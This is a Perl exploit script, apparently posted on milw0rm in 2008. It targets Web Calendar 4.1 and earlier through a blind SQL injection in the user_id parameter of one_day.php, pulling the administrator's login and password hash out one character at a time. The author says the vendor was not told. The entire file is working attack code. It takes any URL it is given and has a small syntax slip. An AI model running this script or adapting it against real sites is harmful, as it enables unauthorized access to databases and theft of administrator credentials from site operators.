#!/usr/bin/perl
use strict;
use LWP::Simple;
print "-+--[ Web Calendar <= 4.1 Blind SQL Injection Exploit ]--+-\n";
print "-+-- --+-\n";
print "-+-- Discovered && Coded By t0pP8uZz --+-\n";
print "-+-- Discovered On: 24 April 2008 --+-\n";
print "-+-- --+-\n";
print "-+-- Web Calendar suffers from a insecure mysql query --+-\n";
print "-+-- the vendor has not been notified.. and wont be.. --+-\n";
print "-+-- --+-\n";
print "-+-- Exploit tested in ActivePerl --+-\n";
print "-+-- --+-\n";
print "-+--[ Web Calendar <= 4.1 Blind SQL Injection Exploit ]--+-\n";
print "\nEnter URL (ie: http://site.com/webcal/): ";
chomp(my $url=<STDIN>);
print "\n\nInjecting Please Wait..\n\n"
my $lop = 1;
my $num = 48;
my $sub = 1;
my $res = undef;
my $content = undef;
while($lop) {
$content = get($url."/one_day.php?user_id=1 AND ASCII(SUBSTRING((SELECT CONCAT(login,char(58),password,char(94)) FROM T_AUTH WHERE role_id=1 LIMIT 0,1),".$sub.",1))=".$num."/*");
if($content !~ /you are not in database/i && $num == 94) { $lop = 0; }
elsif($content !~ /you are not in database/i) { $res .= chr($num); $num = 48; $sub++; print $res."\n"; }
else { $num++; }
}
print "\nExploit Successfull! Admin Details Are: ".$res;
# Coded by t0pP8uZz
# milw0rm.com [2008-04-22]